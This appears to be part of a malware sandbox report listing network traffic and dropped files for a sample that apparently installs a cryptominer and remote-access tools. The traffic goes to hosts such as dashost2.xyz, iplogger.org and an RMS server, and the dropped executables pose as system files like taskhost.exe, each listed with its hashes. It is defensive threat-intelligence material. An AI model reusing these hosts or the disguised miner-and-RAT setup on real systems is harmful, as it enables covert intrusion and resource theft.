                                                                                                                                                                          • 46.23.98.134:80
                                                                                                                                                                            http://dashost2.xyz/wedens2/configCPUX8.html
                                                                                                                                                                            http
                                                                                                                                                                            taskhost.exe
                                                                                                                                                                            2.1kB
                                                                                                                                                                            3.5kB
                                                                                                                                                                            24
                                                                                                                                                                            13

                                                                                                                                                                            HTTP Request

                                                                                                                                                                            GET http://dashost2.xyz/wedens2/STATUS.html

                                                                                                                                                                            HTTP Response

                                                                                                                                                                            200

                                                                                                                                                                            HTTP Request

                                                                                                                                                                            GET http://dashost2.xyz/wedens2/loaderTOP.html

                                                                                                                                                                            HTTP Response

                                                                                                                                                                            404

                                                                                                                                                                            HTTP Request

                                                                                                                                                                            GET http://dashost2.xyz/LTC.html

                                                                                                                                                                            HTTP Response

                                                                                                                                                                            200

                                                                                                                                                                            HTTP Request

                                                                                                                                                                            GET http://dashost2.xyz/BTC.html

                                                                                                                                                                            HTTP Response

                                                                                                                                                                            200

                                                                                                                                                                            HTTP Request

                                                                                                                                                                            GET http://dashost2.xyz/ETH.html

                                                                                                                                                                            HTTP Response

                                                                                                                                                                            200

                                                                                                                                                                            HTTP Request

                                                                                                                                                                            GET http://dashost2.xyz/ZEC.html

                                                                                                                                                                            HTTP Response

                                                                                                                                                                            200

                                                                                                                                                                            HTTP Request

                                                                                                                                                                            GET http://dashost2.xyz/DOGE.html

                                                                                                                                                                            HTTP Response

                                                                                                                                                                            200

                                                                                                                                                                            HTTP Request

                                                                                                                                                                            GET http://dashost2.xyz/wedens2/Login.html

                                                                                                                                                                            HTTP Response

                                                                                                                                                                            200

                                                                                                                                                                            HTTP Request

                                                                                                                                                                            GET http://dashost2.xyz/wedens2/Password.html

                                                                                                                                                                            HTTP Response

                                                                                                                                                                            200

                                                                                                                                                                            HTTP Request

                                                                                                                                                                            GET http://dashost2.xyz/wedens2/Server.html

                                                                                                                                                                            HTTP Response

                                                                                                                                                                            200

                                                                                                                                                                            HTTP Request

                                                                                                                                                                            GET http://dashost2.xyz/wedens2/configCPUX8.html

                                                                                                                                                                            HTTP Response

                                                                                                                                                                            200
                                                                                                                                                                          • 193.32.188.155:21
                                                                                                                                                                            taskhost.exe
                                                                                                                                                                            260 B
                                                                                                                                                                            5
                                                                                                                                                                          • 150.171.28.10:443
                                                                                                                                                                            https://tse1.mm.bing.net/th?id=OADD2.10239339388103_1CSWF230IMLBJ1BZH&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90
                                                                                                                                                                            tls, http2
                                                                                                                                                                            104.8kB
                                                                                                                                                                            3.0MB
                                                                                                                                                                            2207
                                                                                                                                                                            2204

                                                                                                                                                                            HTTP Request

                                                                                                                                                                            GET https://tse1.mm.bing.net/th?id=OADD2.10239340418544_1U65HGUXV07UFEU5B&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90

                                                                                                                                                                            HTTP Request

                                                                                                                                                                            GET https://tse1.mm.bing.net/th?id=OADD2.10239339388104_1WOMQSFLGSNQV3AH1&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90

                                                                                                                                                                            HTTP Request

                                                                                                                                                                            GET https://tse1.mm.bing.net/th?id=OADD2.10239340418543_1PQIQEA9PYCCTOZ9T&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90

                                                                                                                                                                            HTTP Request

                                                                                                                                                                            GET https://tse1.mm.bing.net/th?id=OADD2.10239339388103_1CSWF230IMLBJ1BZH&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90

                                                                                                                                                                            HTTP Response

                                                                                                                                                                            200

                                                                                                                                                                            HTTP Response

                                                                                                                                                                            200

                                                                                                                                                                            HTTP Response

                                                                                                                                                                            200

                                                                                                                                                                            HTTP Response

                                                                                                                                                                            200
                                                                                                                                                                          • 150.171.28.10:443
                                                                                                                                                                            tse1.mm.bing.net
                                                                                                                                                                            tls, http2
                                                                                                                                                                            1.2kB
                                                                                                                                                                            6.8kB
                                                                                                                                                                            15
                                                                                                                                                                            12
                                                                                                                                                                          • 150.171.28.10:443
                                                                                                                                                                            tse1.mm.bing.net
                                                                                                                                                                            tls, http2
                                                                                                                                                                            1.2kB
                                                                                                                                                                            6.9kB
                                                                                                                                                                            15
                                                                                                                                                                            13
                                                                                                                                                                          • 150.171.28.10:443
                                                                                                                                                                            tse1.mm.bing.net
                                                                                                                                                                            tls, http2
                                                                                                                                                                            1.2kB
                                                                                                                                                                            6.9kB
                                                                                                                                                                            15
                                                                                                                                                                            13
                                                                                                                                                                          • 193.32.188.155:21
                                                                                                                                                                            taskhost.exe
                                                                                                                                                                            260 B
                                                                                                                                                                            5
                                                                                                                                                                          • 127.0.0.1:80
                                                                                                                                                                            taskhost.exe
                                                                                                                                                                          • 127.0.0.1:80
                                                                                                                                                                            taskhost.exe
                                                                                                                                                                          • 127.0.0.1:80
                                                                                                                                                                            taskhost.exe
                                                                                                                                                                          • 127.0.0.1:80
                                                                                                                                                                            taskhost.exe
                                                                                                                                                                          • 127.0.0.1:80
                                                                                                                                                                            taskhost.exe
                                                                                                                                                                          • 178.63.27.180:3333
                                                                                                                                                                            MicrosoftHost.exe
                                                                                                                                                                            701 B
                                                                                                                                                                            976 B
                                                                                                                                                                            5
                                                                                                                                                                            4
                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            8.8.8.8.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            66 B
                                                                                                                                                                            90 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            8.8.8.8.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            217.106.137.52.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            73 B
                                                                                                                                                                            147 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            217.106.137.52.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            172.210.232.199.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            74 B
                                                                                                                                                                            128 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            172.210.232.199.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            g.bing.com
                                                                                                                                                                            dns
                                                                                                                                                                            56 B
                                                                                                                                                                            151 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            g.bing.com

                                                                                                                                                                            DNS Response

                                                                                                                                                                            13.107.21.237
                                                                                                                                                                            204.79.197.237

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            68.32.126.40.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            71 B
                                                                                                                                                                            157 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            68.32.126.40.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            95.221.229.192.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            73 B
                                                                                                                                                                            144 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            95.221.229.192.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            237.21.107.13.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            72 B
                                                                                                                                                                            158 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            237.21.107.13.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            26.35.223.20.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            71 B
                                                                                                                                                                            157 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            26.35.223.20.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            209.205.72.20.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            72 B
                                                                                                                                                                            158 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            209.205.72.20.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            rms-server.tektonit.ru
                                                                                                                                                                            dns
                                                                                                                                                                            rutserv.exe
                                                                                                                                                                            68 B
                                                                                                                                                                            114 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            rms-server.tektonit.ru

                                                                                                                                                                            DNS Response

                                                                                                                                                                            95.213.205.83

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            83.205.213.95.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            72 B
                                                                                                                                                                            143 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            83.205.213.95.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            154.239.44.20.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            144 B
                                                                                                                                                                            158 B
                                                                                                                                                                            2
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            154.239.44.20.in-addr.arpa

                                                                                                                                                                            DNS Request

                                                                                                                                                                            154.239.44.20.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            ip-api.com
                                                                                                                                                                            dns
                                                                                                                                                                            winit.exe
                                                                                                                                                                            56 B
                                                                                                                                                                            72 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            ip-api.com

                                                                                                                                                                            DNS Response

                                                                                                                                                                            208.95.112.1

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            1.112.95.208.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            71 B
                                                                                                                                                                            95 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            1.112.95.208.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            freemail.freehost.com.ua
                                                                                                                                                                            dns
                                                                                                                                                                            winit.exe
                                                                                                                                                                            70 B
                                                                                                                                                                            86 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            freemail.freehost.com.ua

                                                                                                                                                                            DNS Response

                                                                                                                                                                            194.0.200.251

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            251.200.0.194.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            72 B
                                                                                                                                                                            110 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            251.200.0.194.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            wininit.xyz
                                                                                                                                                                            dns
                                                                                                                                                                            39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639.exe
                                                                                                                                                                            57 B
                                                                                                                                                                            122 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            wininit.xyz

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            wininit.xyz
                                                                                                                                                                            dns
                                                                                                                                                                            39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639.exe
                                                                                                                                                                            114 B
                                                                                                                                                                            122 B
                                                                                                                                                                            2
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            wininit.xyz

                                                                                                                                                                            DNS Request

                                                                                                                                                                            wininit.xyz

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            50.23.12.20.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            70 B
                                                                                                                                                                            156 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            50.23.12.20.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            198.187.3.20.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            71 B
                                                                                                                                                                            157 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            198.187.3.20.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            26.165.165.52.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            72 B
                                                                                                                                                                            146 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            26.165.165.52.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            103.169.127.40.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            73 B
                                                                                                                                                                            147 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            103.169.127.40.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            iplogger.org
                                                                                                                                                                            dns
                                                                                                                                                                            39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639.exe
                                                                                                                                                                            58 B
                                                                                                                                                                            90 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            iplogger.org

                                                                                                                                                                            DNS Response

                                                                                                                                                                            104.21.4.208
                                                                                                                                                                            172.67.132.113

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            c.pki.goog
                                                                                                                                                                            dns
                                                                                                                                                                            39e6a32ee280960f6e4e2d4e38fb25e96ae8f5bd163bafb8ffeab87e2216e639.exe
                                                                                                                                                                            56 B
                                                                                                                                                                            107 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            c.pki.goog

                                                                                                                                                                            DNS Response

                                                                                                                                                                            216.58.214.163

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                            dns
                                                                                                                                                                            RDPWInst.exe
                                                                                                                                                                            71 B
                                                                                                                                                                            135 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            raw.githubusercontent.com

                                                                                                                                                                            DNS Response

                                                                                                                                                                            185.199.109.133
                                                                                                                                                                            185.199.111.133
                                                                                                                                                                            185.199.110.133
                                                                                                                                                                            185.199.108.133

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            208.4.21.104.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            71 B
                                                                                                                                                                            133 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            208.4.21.104.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            163.214.58.216.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            73 B
                                                                                                                                                                            171 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            163.214.58.216.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            133.109.199.185.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            74 B
                                                                                                                                                                            118 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            133.109.199.185.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            raw.githubusercontent.com
                                                                                                                                                                            dns
                                                                                                                                                                            RDPWInst.exe
                                                                                                                                                                            71 B
                                                                                                                                                                            135 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            raw.githubusercontent.com

                                                                                                                                                                            DNS Response

                                                                                                                                                                            185.199.110.133
                                                                                                                                                                            185.199.109.133
                                                                                                                                                                            185.199.108.133
                                                                                                                                                                            185.199.111.133

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            133.110.199.185.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            74 B
                                                                                                                                                                            118 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            133.110.199.185.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            19.229.111.52.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            72 B
                                                                                                                                                                            158 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            19.229.111.52.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            25.140.123.92.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            72 B
                                                                                                                                                                            137 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            25.140.123.92.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            240.143.123.92.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            73 B
                                                                                                                                                                            139 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            240.143.123.92.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            172.214.232.199.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            74 B
                                                                                                                                                                            128 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            172.214.232.199.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            dashost.xyz
                                                                                                                                                                            dns
                                                                                                                                                                            taskhost.exe
                                                                                                                                                                            57 B
                                                                                                                                                                            73 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            dashost.xyz

                                                                                                                                                                            DNS Response

                                                                                                                                                                            127.0.0.1

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            dashost2.xyz
                                                                                                                                                                            dns
                                                                                                                                                                            taskhost.exe
                                                                                                                                                                            58 B
                                                                                                                                                                            74 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            dashost2.xyz

                                                                                                                                                                            DNS Response

                                                                                                                                                                            46.23.98.134

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            134.98.23.46.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            71 B
                                                                                                                                                                            129 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            134.98.23.46.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            tse1.mm.bing.net
                                                                                                                                                                            dns
                                                                                                                                                                            62 B
                                                                                                                                                                            170 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            tse1.mm.bing.net

                                                                                                                                                                            DNS Response

                                                                                                                                                                            150.171.28.10
                                                                                                                                                                            150.171.27.10

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            234.17.178.52.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            72 B
                                                                                                                                                                            146 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            234.17.178.52.in-addr.arpa

                                                                                                                                                                          • 8.8.8.8:53
                                                                                                                                                                            180.27.63.178.in-addr.arpa
                                                                                                                                                                            dns
                                                                                                                                                                            72 B
                                                                                                                                                                            109 B
                                                                                                                                                                            1
                                                                                                                                                                            1

                                                                                                                                                                            DNS Request

                                                                                                                                                                            180.27.63.178.in-addr.arpa

                                                                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                                                                          Replay Monitor

                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                          Downloads

                                                                                                                                                                          • C:\ProgramData\Microsoft\Intel\R8.exe

                                                                                                                                                                            Filesize

                                                                                                                                                                            887KB

                                                                                                                                                                            MD5

                                                                                                                                                                            ad95d98c04a3c080df33ed75ad38870f

                                                                                                                                                                            SHA1

                                                                                                                                                                            abbb43f7b7c86d7917d4582e47245a40ca3f33c0

                                                                                                                                                                            SHA256

                                                                                                                                                                            40d4931bbb3234a2e399e2e3e0dcfe4b7b05362c58d549569f2888d5b210ebbd

                                                                                                                                                                            SHA512

                                                                                                                                                                            964e93aeec90ce5ddaf0f6440afb3ed27523dfcddcdfd4574b62ef32763cb9e167691b33bfc2e7b62a98ff8df2070bf7ae53dafc93a52ed6cbe9c2ca1563c5ed

                                                                                                                                                                          • C:\ProgramData\Microsoft\Intel\taskhost.exe

                                                                                                                                                                            Filesize

                                                                                                                                                                            5.8MB

                                                                                                                                                                            MD5

                                                                                                                                                                            a70edb47d3e316ce552ae09766ecb952

                                                                                                                                                                            SHA1

                                                                                                                                                                            eceff6722453fbed6190accaa9ecc3a74bdc7356

                                                                                                                                                                            SHA256

                                                                                                                                                                            a1fedc5b5caaccde52420d8950b4ca3b17111da49abf07ca0fb33123521e8641

                                                                                                                                                                            SHA512

                                                                                                                                                                            e16330a7e721329cce06f3b4546cd8ef9ca6307ecb747044f67811b9b4dc7ff59651e5eebc9025eb773c3061102e80b4bbed114db97adeb4c1b345ba05c8c4a5

                                                                                                                                                                          • C:\ProgramData\RealtekHD\taskhost.exe

                                                                                                                                                                            Filesize

                                                                                                                                                                            1.7MB

                                                                                                                                                                            MD5

                                                                                                                                                                            cd9f1b76be96fd43770b72805dd42c5c

                                                                                                                                                                            SHA1

                                                                                                                                                                            c52ee36a84df91abaf42266046038c5cb24bafe8

                                                                                                                                                                            SHA256

                                                                                                                                                                            5a6654ea85c37c375dbba3263f3b48f04143bdce67f91ab6604d172772c28f8e

                                                                                                                                                                            SHA512

                                                                                                                                                                            f9482ef145d5a1e9711e053cfee1f60bac99f7de134bd6539cb2d2a5221c7da650e248e9efc1dd8874fb8b5134b7e462261848a715907418865667eec7e12cbc

                                                                                                                                                                          • C:\ProgramData\RealtekHD\taskhostw.exe

                                                                                                                                                                            Filesize

                                                                                                                                                                            2.9MB

                                                                                                                                                                            MD5

                                                                                                                                                                            e94f61a2467a198c6cc66a1f1e9cfb6e

                                                                                                                                                                            SHA1

                                                                                                                                                                            767628fe9032e6295f3cf9085081e49e2334818d

                                                                                                                                                                            SHA256

                                                                                                                                                                            0e47618cc1e6f4fe03b35aedf8bdaa8df7a6425a82aa075ec7c850fbdb8f6db2

                                                                                                                                                                            SHA512

                                                                                                                                                                            8e5e812c3246fb682a3dc087daf437514bfbe96769e8b07aa7c5d70e1728cee3114746392e12b0b84aa5cc9c25edfaaff8377b151593cbd3267a9fc943154af3

                                                                                                                                                                          • C:\ProgramData\WindowsTask\MicrosoftHost.exe

                                                                                                                                                                            Filesize

                                                                                                                                                                            2.5MB

                                                                                                                                                                            MD5

                                                                                                                                                                            191f67bf26f68cef47359b43facfa089

                                                                                                                                                                            SHA1

                                                                                                                                                                            94529e37aa179e44e22e9ccd6ee0de8a49a8f2fc

                                                                                                                                                                            SHA256

                                                                                                                                                                            2144c0d5d80613e66c393271c11c374afc57ae910d455bed661bb5cb04c1d2c5

                                                                                                                                                                            SHA512

                                                                                                                                                                            7d8de83158acf23b8a3fda50106e36f59c3888c99e45b8fa46599c45f6e80e3b6e4cdcbbf440f442446a93933685e086925338320716d3919a9033118425102b

                                                                                                                                                                          • C:\ProgramData\WindowsTask\WinRing0x64.sys

                                                                                                                                                                            Filesize

                                                                                                                                                                            14KB

                                                                                                                                                                            MD5

                                                                                                                                                                            0c0195c48b6b8582fa6f6373032118da

                                                                                                                                                                            SHA1

                                                                                                                                                                            d25340ae8e92a6d29f599fef426a2bc1b5217299

                                                                                                                                                                            SHA256

                                                                                                                                                                            11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5

                                                                                                                                                                            SHA512

                                                                                                                                                                            ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d

                                                                                                                                                                          • C:\ProgramData\Windows\install.vbs

                                                                                                                                                                            Filesize

                                                                                                                                                                            140B

                                                                                                                                                                            MD5

                                                                                                                                                                            5e36713ab310d29f2bdd1c93f2f0cad2

                                                                                                                                                                            SHA1

                                                                                                                                                                            7e768cca6bce132e4e9132e8a00a1786e6351178

                                                                                                                                                                            SHA256

                                                                                                                                                                            cd8df8b0c43c36aabb0a960e4444b000a04eb513f0b34e12dbfd098944e40931

                                                                                                                                                                            SHA512

                                                                                                                                                                            8e5cf90470163143aee75b593e52fcc39e6477cd69a522ee77fa2589ea22b8a3a1c23614d3a677c8017fba0bf4b320a4e47c56a9a7f176dbf51db88d9d8e52c1

                                                                                                                                                                          • C:\ProgramData\Windows\reg1.reg

                                                                                                                                                                            Filesize

                                                                                                                                                                            13KB

                                                                                                                                                                            MD5

                                                                                                                                                                            0bfedf7b7c27597ca9d98914f44ccffe

                                                                                                                                                                            SHA1

                                                                                                                                                                            e4243e470e96ac4f1e22bf6dcf556605c88faaa9

                                                                                                                                                                            SHA256

                                                                                                                                                                            7e9541d21f44024bc88b9dc0437b18753b9d9f22b0cf6e01bb7e9bf5b32add9e

                                                                                                                                                                            SHA512

                                                                                                                                                                            d7669937f24b3dbb0fdfd19c67d9cdbd4f90779539107bd4b84d48eab25293ef03661a256fe5c662e73041b1436baff0570ace763fa3effa7c71d954378cbc2d

                                                                                                                                                                          • C:\ProgramData\Windows\reg2.reg

                                                                                                                                                                            Filesize

                                                                                                                                                                            1KB

                                                                                                                                                                            MD5

                                                                                                                                                                            6a5d2192b8ad9e96a2736c8b0bdbd06e

                                                                                                                                                                            SHA1

                                                                                                                                                                            235a78495192fc33f13af3710d0fe44e86a771c9

                                                                                                                                                                            SHA256

                                                                                                                                                                            4ae04a85412ec3daa0fb33f21ed4eb3c4864c3668b95712be9ec36ef7658422a

                                                                                                                                                                            SHA512

                                                                                                                                                                            411204a0a1cdbe610830fb0be09fd86c579bb5cccf46e2e74d075a5693fe7924e1e2ba121aa824af66c7521fcc452088b2301321d9d7eb163bee322f2f58640d

                                                                                                                                                                          • C:\ProgramData\Windows\rfusclient.exe

                                                                                                                                                                            Filesize

                                                                                                                                                                            1.5MB

                                                                                                                                                                            MD5

                                                                                                                                                                            b8667a1e84567fcf7821bcefb6a444af

                                                                                                                                                                            SHA1

                                                                                                                                                                            9c1f91fe77ad357c8f81205d65c9067a270d61f0

                                                                                                                                                                            SHA256

                                                                                                                                                                            dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9

                                                                                                                                                                            SHA512

                                                                                                                                                                            ec6af663a3b41719d684f04504746f91196105ef6f8baa013b4bd02df6684eca49049d5517691f8e3a4ba6351fe35545a27f728b1d29d949e950d574a012f852

                                                                                                                                                                          • C:\ProgramData\Windows\rutserv.exe

                                                                                                                                                                            Filesize

                                                                                                                                                                            1.7MB

                                                                                                                                                                            MD5

                                                                                                                                                                            37a8802017a212bb7f5255abc7857969

                                                                                                                                                                            SHA1

                                                                                                                                                                            cb10c0d343c54538d12db8ed664d0a1fa35b6109

                                                                                                                                                                            SHA256

                                                                                                                                                                            1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

                                                                                                                                                                            SHA512

                                                                                                                                                                            4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

                                                                                                                                                                          • C:\ProgramData\Windows\vp8decoder.dll

                                                                                                                                                                            Filesize

                                                                                                                                                                            155KB

                                                                                                                                                                            MD5

                                                                                                                                                                            88318158527985702f61d169434a4940

                                                                                                                                                                            SHA1

                                                                                                                                                                            3cc751ba256b5727eb0713aad6f554ff1e7bca57

                                                                                                                                                                            SHA256

                                                                                                                                                                            4c04d7968a9fe9d9258968d3a722263334bbf5f8af972f206a71f17fa293aa74

                                                                                                                                                                            SHA512

                                                                                                                                                                            5d88562b6c6d2a5b14390512712819238cd838914f7c48a27f017827cb9b825c24ff05a30333427acec93cd836e8f04158b86d17e6ac3dd62c55b2e2ff4e2aff

                                                                                                                                                                          • C:\ProgramData\Windows\vp8encoder.dll

                                                                                                                                                                            Filesize

                                                                                                                                                                            593KB

                                                                                                                                                                            MD5

                                                                                                                                                                            6298c0af3d1d563834a218a9cc9f54bd

                                                                                                                                                                            SHA1

                                                                                                                                                                            0185cd591e454ed072e5a5077b25c612f6849dc9

                                                                                                                                                                            SHA256

                                                                                                                                                                            81af82019d9f45a697a8ca1788f2c5c0205af9892efd94879dedf4bc06db4172

                                                                                                                                                                            SHA512

                                                                                                                                                                            389d89053689537cdb582c0e8a7951a84549f0c36484db4346c31bdbe7cb93141f6a354069eb13e550297dc8ec35cd6899746e0c16abc876a0fe542cc450fffe

                                                                                                                                                                          • C:\ProgramData\Windows\winit.exe

                                                                                                                                                                            Filesize

                                                                                                                                                                            961KB

                                                                                                                                                                            MD5

                                                                                                                                                                            705e63ba28d331a481a5e9833c67d426

                                                                                                                                                                            SHA1

